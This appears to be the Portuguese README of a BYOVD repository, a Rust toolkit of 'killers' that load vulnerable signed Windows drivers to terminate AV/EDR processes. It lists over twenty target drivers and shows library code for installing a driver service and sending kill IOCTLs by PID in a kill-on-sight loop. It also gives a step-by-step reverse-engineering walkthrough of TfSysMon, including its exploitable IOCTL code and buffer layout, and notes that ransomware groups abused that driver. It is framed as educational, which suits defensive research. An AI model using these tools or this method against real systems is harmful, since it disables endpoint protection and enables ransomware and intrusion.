BYOVD

BYOVD é uma coleção de PoCs que demonstram como drivers vulneráveis podem ser explorados para desativar soluções de AV/EDR.

A coleção inclui tanto drivers não documentados quanto aqueles com cobertura existente em LOLDDrivers ou nas regras de bloqueio de drivers recomendadas pela Microsoft.

Desde sua descoberta inicial, o driver TfSysMon foi adicionado ao LOLDrivers e abusado por grupos de ransomware usando a ferramenta EDRKillShifter, conforme relatado pela Sophos e ESET

📚 Índice

• 🔍 Visão Geral
• 🏗️ Estrutura do Projeto
• 🔧 Compilação
• 📦 byovd-lib
• 💡 PoCs
• 🔬 Processo Completo de Engenharia Reversa de Drivers (x64)
• 🔗 Referências
• ⚠️ Aviso Legal

🔍 Visão Geral

A técnica BYOVD ganhou popularidade recentemente na segurança ofensiva, especialmente com o lançamento de ferramentas como o Terminator da SpyBoy (vendido por US$ 3.000) e o projeto ZeroMemoryEx Blackout. Essas ferramentas exploram drivers vulneráveis para desativar agentes de AV/EDR, facilitando ataques adicionais ao reduzir a detecção.

Este repositório contém vários PoCs desenvolvidos para fins educacionais, ajudando pesquisadores a entender como esses drivers podem ser abusados para encerrar processos.

🏗️ Estrutura do Projeto

O projeto é organizado como um workspace Rust Cargo. A maioria dos PoCs compartilha uma biblioteca comum (byovd-lib) que lida com o código repetitivo: ciclo de vida do serviço do driver, despacho de IOCTL, monitoramento de processos, ajuste de privilégios e limpeza. Cada killer é um binário enxuto (~50-100 linhas) que apenas define sua configuração específica do driver. K7Terminator, Astra64-Killer, Ktapi-Killer e Xhunter1-Killer são independentes — eles têm suas próprias declarações [workspace] e são compilados diretamente de seus próprios diretórios, não por meio do workspace raiz.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

Cada diretório `*-Killer/` contém seu próprio `Cargo.toml`, `src/main.rs` (a implementação do `DriverConfig` + CLI), `README.md` (hashes do driver + uso) e o arquivo `.sys` correspondente que o binário carrega em tempo de execução.

## 🔧 Compilação

**Pré-requisitos:** Toolchain Rust e Visual Studio Build Tools com o Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binários são gerados em target/release/. Copie o arquivo de driver .sys correspondente para o mesmo diretório do executável antes de executar.

📦 byovd-lib

byovd-lib é a biblioteca compartilhada na qual todos os PoCs (exceto o K7Terminator) são construídos. Ela expõe duas APIs complementares — uma declarativa de alto nível para o fluxo padrão de "instalar driver, matar ao ver, limpar", e uma imperativa de baixo nível para killers que precisam de um fluxo personalizado (anexar a um driver já carregado, distribuir para múltiplos PIDs, buffers IOCTL estruturados, lógica de repetição personalizada, etc.). Ambas podem ser misturadas no mesmo binário.

Estrutura do módulo```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### API de alto nível: trait `DriverConfig` + `run()`

É isto que os killers incluídos utilizam. Implemente o trait, chame `byovd_lib::run()` e está pronto.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() faz: preflight_check → instala o serviço (SERVICE_DEMAND_START) → StartService → monitor kill-on-sight (Ctrl+C para sair) → para e exclui o serviço.

Overrides de trait opcionais com seus padrões:

API de baixo nível: peças imperativas

Quando o fluxo da trait não se encaixa — ex.: o driver já está carregado e você só quer disparar um único IOCTL, precisa de uma política de repetição personalizada, o IOCTL aceita uma entrada estruturada em vez de apenas um PID, ou deseja distribuir para todos os PIDs correspondentes — componha as peças de nível inferior diretamente.

Ciclo de vida do driver — ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**Despacho de IOCTL** — `DeviceHandle` expõe cinco formatos tipados:

| Método | Use quando |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Buffers de entrada e saída, tipos separados |
| `ioctl_inout<T>(code, &mut data)` | Mesmo buffer para entrada + saída |
| `ioctl_in<I>(code, &input)` | Apenas entrada, sem buffer de saída |
| `ioctl_in_unchecked<I>(code, &input)` | Apenas entrada, ignora falhas (alternativa por chamada ao `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Saída de escape para ponteiros brutos |

Os formatos tipados eliminam o trabalho manual de `to_ne_bytes()` / `extend_from_slice()` quando o IOCTL recebe uma struct (ex.: `{ pid: u32, padding: [u8; 20] }`).

**Pesquisa de processos** — `find_pid_by_name(name)` (primeira correspondência) e `find_all_pids_by_name(name)` (todas as correspondências, exclui PIDs de sistema ≤ 4).

**Loop de monitoramento personalizado** — `run_monitor_loop(name, interval, |pid| ...)` aceita uma closure para que você possa fazer o que quiser por correspondência (vários IOCTLs, registros estruturados, fan-out entre PIDs, nova tentativa em caso de erro).

**Privilégios** — `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` para drivers que exigem privilégios de token explícitos. `ensure_running_as_local_system()` retorna um erro se o processo não estiver em execução como `S-1-5-18`.

**Wrappers de handles** — `WinHandle` (`CloseHandle` automático) e `ScHandle` (`CloseServiceHandle` automático) são `Send + Sync` e podem ser movidos entre threads.

### Exemplo: anexar a um driver já carregado, sem ciclo de vida de serviço

Isto é o que `UnknownKiller --attach` faz — ignora o SCM por completo, apenas abre o dispositivo e dispara o IOCTL uma vez:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Aliases de retrocompatibilidade

FileHandle / ServiceHandle ainda resolvem para WinHandle / ScHandle, e get_pid_by_name é mantido como um alias para find_pid_by_name, para que código mais antigo que referencie esses nomes continue compilando.

💡 PoCs

Abaixo estão os drivers e suas respectivas PoCs disponíveis neste repositório:

• AppRemover-Killer: Tem como alvo ardrv.sys da OPSWAT AppRemover.
• Astra64-Killer: Tem como alvo astra64.sys da EnTech Taiwan (Astra32 / TVicHW) -- killer de EDR independente com sequestro de Shadow SSDT somente via dados.
• BdApiUtil-Killer: Tem como alvo BdApiUtil64.sys do Baidu AntiVirus (CVE-2024-51324).
• CcProtect-Killer: Tem como alvo CcProtect.sys da CnCrypt.
• EnPortv-Killer: Tem como alvo EnPortv.sys da Guidance EnCase.

🔬 Processo Completo de Engenharia Reversa de Drivers (x64)

Esta seção demonstra a metodologia completa de engenharia reversa de A a Z usando o driver TfSysMon como exemplo prático. Este processo se aplica a qualquer análise de driver de kernel Windows x64.

🎯 Etapa 0: Pré-Análise - Triagem de Importações de Funções

Verifique as importações do driver antes de iniciar a engenharia reversa.

Um driver básico de killer de processos requer 2 coisas:

uma forma de obter um handle para um processo (por exemplo, ZwOpenProcess ou NtOpenProcess)

uma forma de encerrar o processo (por exemplo, ZwTerminateProcess ou NtTerminateProcess)

Verifique se um driver importa ambos os tipos de funções. Se um driver tiver em suas funções importadas Nt/ZwOpenProcess E Nt/ZwTerminateProcess, então ele é um candidato potencial a driver killer de processos.

Somente após confirmar essas importações você deve prosseguir para a engenharia reversa detalhada no IDA Pro.

🛠️ Pré-requisitos para Análise de Drivers x64

Ferramentas necessárias:

• IDA Pro - para desmontar o driver para análise estática
• OSRLoader - para carregar/executar o driver (alternativa ao comando sc.exe)

📍 Etapa 1: Localizar e Analisar o DriverEntry

Todo driver Windows começa com DriverEntry - encontre esta função primeiro:

No TfSysMon, o DriverEntry se parece com isto:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**Notas de análise:**
- O código realiza alguma inicialização com BugCheckParameter2 e BugCheckParameter3
- A inicialização real do driver ocorre em `sub_17484`
- Siga a chamada para `sub_17484(DriverObject)` — é aqui que a configuração real do driver ocorre

### 📍 Etapa 2: Siga a Cadeia de Inicialização do Driver

**Navegue até a função de inicialização (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

Principais Descobertas de Engenharia Reversa:

• Nome do Dispositivo: \\Device\\TfSysMon (espaço do kernel)
• Link Simbólico: \\DosDevices\\TfSysMon (acessível em modo de usuário como \\.\\TfSysMon)
• Tipo de Dispositivo: 0x22 = FILE_DEVICE_UNKNOWN
• Manipulador de IRP: Todas as funções principais apontam para sub_17694
• Função Alvo: MajorFunction[14] = manipulador de IRP_MJ_DEVICE_CONTROL

📍 Etapa 3: Analisar a Função de Despacho de IRP

Navegue até a função de despacho (sub_17694):```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**Análise de Engenharia Reversa:**
- A validação do dispositivo ocorre primeiro (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` determina o tipo de operação
- **CRÍTICO**: Os valores de MajorFunction 14 (0xE) e 15 (0xF) chamam `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = processamento de IOCTL
- O caminho de código vulnerável é: **solicitação IOCTL → sub_177D8**

### 📍 Etapa 4: Engenharia Reversa do Manipulador de IOCTL

**Navegue até a função de processamento de IOCTL (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

Descobertas Críticas de Engenharia Reversa:

• Extração de IOCTL: v7 = *(_DWORD *)(a2 + 24) obtém o código IOCTL de IO_STACK_LOCATION
• Buffer de Entrada: Irp->AssociatedIrp.MasterIrp contém dados do usuário
• Comprimento do Buffer: v9 = *(unsigned int *)(a2 + 16) obtém o tamanho do buffer de entrada
• IOCTL Vulnerável: 0xB4A00404 leva a sub_1837C
• Verificação de Tamanho: Apenas valida se o buffer ≥ 0x18 (24 bytes) - validação mínima!

📍 Passo 5: Analisar a Função Vulnerável

Navegue até a função de término de processo (sub_1837C):```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**Análise de Funções:**
- **Estrutura de Entrada**: A partir da análise do código do driver, determinamos o layout do buffer onde o PID está no offset +4
- **Análise de Entrada**: `v3 = *(void **)(a1 + 4)` extrai o PID do buffer de entrada no offset +4
- **Abertura do Processo**: `ZwOpenProcess` com direitos de acesso mínimos (1u = PROCESS_TERMINATE)
- **Sem Verificações de Segurança**: Nenhuma validação de privilégios do chamador ou proteção do processo alvo
- **Terminação do Processo**: Chamada direta a `ZwTerminateProcess`
- **Lógica de Repetição**: Múltiplas tentativas tanto para abertura quanto para terminação
- **Qualquer Processo**: Pode terminar qualquer processo acessível à conta SYSTEM

### 📍 Passo 6: Mapear a Cadeia de Ataque Completa

**Fluxo Completo de Engenharia Reversa:**
1. **Ponto de Entrada**: O usuário chama `DeviceIoControl` em `\\.\\TfSysMon`
2. **Criação do IRP**: O Gerenciador de I/O cria o IRP com MajorFunction = 14
3. **Despacho**: `sub_17694` encaminha para `sub_177D8` para processamento do IOCTL
4. **Verificação do IOCTL**: `sub_177D8` valida o código IOCTL `0xB4A00404` e o tamanho do buffer ≥ 24 bytes
5. **Execução**: Chama `sub_1837C` com o buffer de entrada do usuário
6. **Terminação**: `sub_1837C` extrai o PID do offset +4 e termina o processo via `ZwTerminateProcess`

**Estrutura do Buffer de Entrada (a partir da engenharia reversa do driver):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

Esta metodologia demonstra como fazer engenharia reversa sistematicamente em qualquer driver de kernel do Windows x64 para identificar vulnerabilidades semelhantes, seguindo o caminho de execução desde a comunicação em modo de usuário até operações perigosas no kernel.

Suporte 🍺

Se o BYOVD ajudou nas suas operações de red team, considere me pagar uma cerveja:

🔗 Referências

• Blog da Alice Climent-Pommeret: Encontrando e Explorando Drivers Process Killer com LOL por $3000
• LOLDrivers: Um Repositório Central de Drivers Vulneráveis Conhecidos
• Regras de Bloqueio de Drivers da Microsoft: Regras de Bloqueio de Drivers Recomendadas pela Microsoft
• Windows Kernel Programming de Pavel Yosifovich
• Windows Internals, Part 1 & 2 de Mark E. Russinovich, Alex Ionescu, David Solomon

⚠️ Aviso Legal

O Projeto BYOVD é destinado apenas para fins educacionais e de pesquisa. O autor não é responsável por qualquer uso indevido ou dano causado por estes programas. Sempre busque permissão explícita antes de usar estas ferramentas em qualquer sistema.